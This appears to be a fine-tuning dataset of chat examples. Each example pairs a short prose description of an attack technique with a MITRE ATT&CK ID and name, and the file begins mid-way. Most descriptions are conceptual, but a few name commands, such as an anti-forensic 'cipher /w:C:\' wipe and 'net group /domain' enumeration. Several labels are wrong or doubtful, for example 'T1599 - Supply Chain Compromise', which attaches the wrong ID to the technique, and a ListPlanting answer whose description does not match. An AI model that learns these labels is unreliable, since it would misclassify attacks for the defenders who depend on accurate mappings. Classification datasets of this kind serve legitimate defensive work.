                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider duplicates the SSH session ID of a legitimate admin and connects to the server using the same credentials."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team members upload a remote access Trojan using scp to the victim's Linux host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is placed in the AppCert directory and loaded automatically when the associated .exe is executed, enabling code execution."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A C2 command triggers the victim's computer to record the screen and upload the PNG file to the attacker's server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary targets a vulnerable version of a public-facing content management system, executing a remote command through a command injection bug."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sets up a local service account that runs with SYSTEM privileges for persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages the SharePoint Search API to locate and retrieve files containing specific keywords."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised web server injects JavaScript that reads and sends the victim's session cookie to a remote C2."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gains access to the web server and changes the site title to a protest slogan."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a macro-enabled Office document that, when opened, runs VBA code to launch a payload."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary runs a hidden thread that continuously scans for debugger API hooks and terminates if found."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using ROMMON, the adversary executes arbitrary commands to modify the boot sequence, enabling execution of malicious code before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CMSTP is abused to bypass security controls by executing a script embedded in an INF, leading to persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a Windows shortcut with a UNC path that triggers execution of a remote script host, leading to indirect command execution on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accessed the enterprise's Cloud Foundry credential store to pull service account credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes RSA encryption to secure the channel used for sending stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers compromise a legitimate software update server to distribute malicious updates."
            },
            {
                "role": "assistant",
                "content": "T1599 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a shortcut file (.lnk) that references a system script interpreter with a malicious payload, causing execution when the shortcut is opened."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware generates a random symmetric key and encrypts its command traffic with AES‑128 in GCM mode."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the registry to load a rogue network provider DLL, enabling hijacking of the authentication process."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker deploys a malicious app that registers its own device as a trusted source, allowing it to receive MFA push notifications and approve them."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a new .com domain and sets up a hidden WHOIS entry to hide ownership."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant stores encrypted data in DNS TXT records using base64url encoding."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary performed credential dumping and then used those credentials to log in via RDP to multiple workstations."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker harvests service account hashes and creates forged Kerberos tickets, enabling them to impersonate the service across the network."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the built-in ntdsutil tool, the malware pulls the Active Directory database to obtain user secrets."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a custom tar implementation to archive network traffic captures into a .tgz2 file."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script calls the Windows API NetLocalGroupEnum to enumerate local group accounts."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor edits the com.apple.security.plist in the System Preferences to disable Gatekeeper, allowing unsigned apps to run."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors accessed the internal project management tool and replaced the project overview page with a defacement notice."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors bought engineering drawings of a target’s manufacturing equipment through a private forum."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a compromised service account to call the Confluence REST API and download all pages, attachments, and metadata from the wiki."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor breaks out of the mobile sandbox, establishing a reverse shell that connects to the host computer."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a registry modification of 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Eventlog' to prevent logging."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised OAuth client secret allowed the attacker to request access tokens for the victim’s cloud services."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs 'curl ipinfo.io' to obtain the public IP and geolocate it, revealing the host's approximate physical location."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script performs credential dumping by extracting password hashes from the SAM registry hive."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries Active Directory for group membership using net group /domain."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses the Windows Distributed Component Object Model to open a remote shell on a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a poorly rate‑limited login endpoint by sending credential‑guessing requests at a rate that saturates the server’s processing capacity."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update replaces the built‑in password filter with a backdoored DLL that writes hashed passwords to an attacker‑controlled network share each time a user changes their password."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the trusted verclsid binary to initiate a secondary malicious executable, bypassing defenses that block unknown binaries."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary persists by injecting a malicious DLL via the Image File Execution Options \"Debugger\" entry for the taskhost.exe process, causing the DLL to load each time the process starts."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers stole a backup of the VPN concentrator's configuration, exposing shared secret keys and routing policies."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By replacing the default Windows network provider DLL, the threat actor captures user passwords and forwards them to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the login API to generate fraudulent MFA challenges, sending verification codes to the victim's registered phone."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT employs list planting by adding a compromised module to the global module search path, causing victim processes to load it."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that recursively deletes files in the %TEMP% directory to erase evidence of the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker clears the system's network connection tables and any associated logs to eliminate evidence of their presence."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages traffic signaling by repeatedly attempting connections to a range of filtered ports; only after the correct sequence does the system expose a hidden service."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Continuous allocation of large memory buffers by a malicious program on a laptop leads to out‑of‑memory conditions and a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary provides an encoded source file which is compiled on the compromised system, resulting in an obfuscated executable."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary captures the victim's web session cookie by injecting malicious JavaScript into a legitimate website."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uploads exfiltrated data to a cloud storage endpoint that also serves as a dead‑drop resolver for future instruction retrieval."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor edits the user's .bashrc file to include a command that runs a malicious payload each time a new shell is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script scans for a designated file in a specific directory and only runs its payload if the file is present and has a particular hash."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group leveraged the Regsvr32 utility to register a malicious DLL payload, achieving privilege escalation on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the GCP Cloud Console UI automation, the threat actor added a new service account with broad permissions and downloaded its private key."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After credential dumping, the malware invokes 'cipher /w:C:\\' to overwrite free space, effectively removing traces of deleted log files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised DNS server to deliver HTML content with injected malicious JavaScript to browsers."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor employed the Windows command shell to disable Windows Defender by modifying registry keys."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire legitimate open-source tools and modify them to include backdoors."
            },
            {
                "role": "assistant",
                "content": "T1588 - Obtain Capabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a misconfigured Git server that allows anonymous read access to clone the repository containing proprietary algorithms."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a zero-day vulnerability in the hypervisor managing the virtual servers to take control of the VPS instance."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a botnet to send a torrent of NTP amplification requests directly to the victim, causing a network flood that degrades service availability."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits TLS to embed a payload into a currently running process, ensuring the code is executed during thread initialization."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in the system's firmware update process, the attacker installs a persistent boot‑time implant."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script downloads a binary that has been polymorphically recompiled with random variable names and dead code inserted."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injected code into the LSASS process to extract plaintext passwords from memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the extra window memory space to hide shellcode, then triggers execution via window messages."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised binary that performs dlopen on a malicious library, thereby hijacking the dynamic linking process."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abused an abused Azure Managed Identity to read secret values from Key Vault, extracting passwords for on-premises Active Directory sync accounts."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool leverages a compromised third‑party cloud service as a proxy, forwarding data between the victim’s network and the attacker’s C2 server."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group distributes a video file where the malicious payload is hidden in the frame timestamps, allowing the malware to be reconstructed after the video is played."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exfiltrates the .bash_history file from a Linux server to find sudo credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker steals NTLM password hashes from the SAM database and uses them to authenticate to remote services without knowing the plaintext password."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
